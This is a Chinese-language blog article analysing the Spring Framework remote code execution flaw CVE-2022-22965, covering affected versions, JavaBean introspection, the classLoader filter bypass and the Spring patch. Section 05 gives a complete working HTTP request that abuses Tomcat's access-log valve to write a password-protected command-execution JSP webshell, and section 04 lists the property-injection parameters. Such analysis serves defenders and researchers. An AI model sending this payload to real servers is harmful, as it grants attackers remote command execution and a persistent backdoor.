Spring 框架远程代码执行漏洞(CVE-2022-22965)

01 影响范围:

  • Spring Framework < 5.3.18
  • Spring Framework < 5.2.20

及其衍生产品

  • JDK ≥ 9
  • JRE ≥ 9

02 前置知识:

1、JavaBean

JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。如果在两个模块之间传递信息,可以将信息封装进JavaBean中。这种JavaBean的实例对象称之为值对象(Value Object),因为这些bean中通常只有一些信息字段和存储方法,没有功能性方法,JavaBean实际就是一种规范,当一个类满足这个规范,这个类就能被其它特定的类调用。一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的它根本看不到java类内部的成员变量

2、内省:

基本概念: 计算机程序在运行时(Runtime)检查对象(Object)类型的一种能力, 通常也可以称作运行时类型检查

内省的作用:内省是操作JavaBean 的 API,用来访问某个属性的 getter/setter 方法

内省的使用:

  • 通过 BeanInfogetPropertyDescriptors 方法和 getMethodDescriptors 方法可以拿到 javaBean 的字段信息列表和 getter 和 setter 方法信息列表
  • PropertyDescriptors 可以根据字段直接获得该字段的 getter 和 setter 方法
  • MethodDescriptors 可以获得方法的元信息,比如方法名,参数个数,参数字段类型等
  • 然后通过反射机制来调用这些方法

03 环境搭建:

1、调试环境

使用IDEA搭建一个简单的Spring MVC环境,版本为4.3.8,然后配置好Tomcat,确保可以进行调试

@Data
@NoArgsConstructor
@AllArgsConstructor
public class User {
    private String name;
    private String password;
}
@Controller
public class UserController {

    @RequestMapping("/user")
    @ResponseBody
    public String getUser(User user){
        return "ok";
    }
}

在这里插入图片描述
2、漏洞复现环境

使用IDEA搭建一个简单的Spring MVC的环境,然后打包为war包部署到本地Tomcat下的webapps文件夹下
在这里插入图片描述

04 漏洞分析:

首先使用调试环境进行调试,查看JavaBean的设置流程
在这里插入图片描述
整个调试过程比较长,这里挑重点的地方进行分析,首先程序会通过request请求获取到传入的keyvalue,并且依次对每一个键值对进行赋值
在这里插入图片描述
传入的key值中可能会含有.,pos为每次截取key值中第一个"."的下标,然后迭代得到内省获取的字段信息,nestedPa中包含对应的object与内省的信息
在这里插入图片描述
nestedPa的内容包含传入的path与对应的object,如果传入class.module.classLoader.resources.context.parent.pipeline.first.suffix则也会通过内省调用getter获取最终的对象
在这里插入图片描述
自省时的beanClass最开始来源于controller中传入的class对象,拿上面的例子举例,需要接收一个User,那么一开始的beanClass就是User.class,然后获取其settergetter方法,只有传入的属性值有settergetter对应的属性时,beanClass才会变化,因为UsergetClass这个方法,所以当传入class=xxx,那么下一次的beanClass就会变为class.Class。如果传入的key值包含.时,beanClass也会随着对应的值进行迭代,举个例子,传入class.module=xx,一开始beanClassclass.Class,通过自省获取了Class的对应方法,接着识别module,对应的beanClass就会变为module.Class,他们是由不断获取对应的object,并且是通过getClass()得到的
在这里插入图片描述
当对java.lang.Class.class进行内省时,会将它的所有settergetter方法put到propertyDescriptorCache中,这里过滤了classloader
在这里插入图片描述
如果传入class.module时会先通过内省获取classgettersetter,同时反射创建class对象,接着对module进行内省,当使用内省获取Module的settergetter时,虽然pd.getNameclassloader,但是beanClassModule.class,而且通过||连接,因此绕过了classloader的限制,在高版本的Spring框架中虽然代码不太一样,但是原理是一样的,都可以绕过(影响范围内的版本)
在这里插入图片描述
在前面获取了object之后就会对这个值进行设置,在获取了object后,对应的setter方法也通过之前的内省获得了,因此可以使用反射进行属性的设置,从而完成数据绑定
在这里插入图片描述
在这里插入图片描述
总结一下:

1、通过自省去获取对应classsettergetter方法,并且最后会返回setter,只有传入的属性中有内省获取到的属性时才会创建对应的object与返回对象,因为任意类都有getClass方法,所以传入class会获取到object并返回setter,对于class.xxx.xxx这样的key值也一样,会获取最终的object,并且返回setter方法

2、接着会用得到的objectsetter方法通过反射进行值的设置,设置为请求传入的value

3、因此相当于可以给Class可以内省获取的任意属性进行赋值,一种利用方式是可以设置日志文件的位置、名称与内容来写入webshell

AccessLogValue利用方式:

AccessLogValue的属性可参考tomcat官方文档
https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html
通过属性注入修改AccessLogValue的几个属性如下

class.module.classLoader.resources.context.parent.appBase=./
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{Prefix123}i+1231231+%25{Suffix123}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=.
class.module.classLoader.resources.context.parent.pipeline.first.prefix=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

由于%会被过滤,pattern里通过引用头部来实现构造。
PS: 注意每次写新的文件,需要修改suffix、prefix以及fileDateFormat,否则文件路径不会修改。
fileDataFormat:默认是.yyyy-MM-dd,尽量只用数字,因为字母会被解析格式化
suffix:只要有后缀即可
prefix:可任意
pattern:格式一般是%h %l %u %t “%r” %s %b ,所以%会被格式化,但通过%{xxx}i可引用请求头字段,即可保证任意字符写入,并且可以实现字符拼接,绕过webshell检测。

%{xxx}i 请求headers的信息
%{xxx}o 响应headers的信息
%{xxx}c 请求cookie的信息
%{xxx}r xxx是ServletRequest的一个属性
%{xxx}s xxx是HttpSession的一个属性

05 漏洞复现:

将Spring MVC的打包为war包,并且放到Tomcat的webapps下
在这里插入图片描述
启动Tomcat
在这里插入图片描述
访问对应的controller,这里设置了日志的文件名、文件路径、以及后缀名,将后缀名设置为.jsp,然后不断地写入执行命令的jsp代码,从而实现webshell的写入

POST /springmvc/user HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 762

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

在这里插入图片描述
发现jsp已经生成,并且内容为执行命令并回显的命令
在这里插入图片描述
访问对应的tomcatwar.jsp并传入命令,实现命令执行
在这里插入图片描述
06 补丁分析:

补丁链接:https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15

当beanClass是class.Class时,只允许添加name属性,因此避免了设置module
在这里插入图片描述
参考文档:

  • http://rui0.cn/archives/1158
  • https://jasonkayzk.github.io/2020/03/02/Java%E7%9A%84%E5%86%85%E7%9C%81%E6%8A%80%E6%9C%AF/
  • https://cloud.tencent.com/developer/article/1035297
  • https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15

喜欢的大佬们可以关注我的公众号,我会在公众号里持续分享一些安全的内容,可以一起交流~
在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
针对PHP远程代码执行漏洞(CVE-2022-31625),以下是一些修复方法: 1. 更新到最新版本:确保你的PHP版本是最新的,因为漏洞修复通常会包含在更新中。请访问PHP官方网站或者使用包管理工具来获取最新版本。 2. 禁用危险函数:在php.ini配置文件中,禁用危险函数可以帮助防止远程代码执行。可以使用disable_functions指令来禁用一些敏感函数,如eval()、exec()、system()等。 3. 安全配置:检查你的PHP配置文件,确保安全设置已经启用。例如,禁用动态加载扩展、限制文件上传目录和大小、禁用远程文件包含等。 4. 输入验证和过滤:在你的应用程序中对用户输入进行严格的验证和过滤,以防止恶意代码注入。 5. 使用安全框架或库:使用安全框架或库来帮助防止远程代码执行漏洞。这些框架通常提供安全的默认配置和内置的安全功能。 6. 定期更新和监控:定期检查并更新你的应用程序和相关组件,以确保及时修复已知漏洞。同时,监控应用程序的日志和网络流量,以便及时发现异常行为。 请注意,这些方法只是一些常用的修复措施,具体的修复方法可能会因系统配置和应用程序的特定情况而有所不同。建议在修复漏洞之前,先进行充分的测试和备份。此外,如果你不确定如何处理或无法解决该漏洞,请咨询安全专家或PHP开发人员的帮助。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值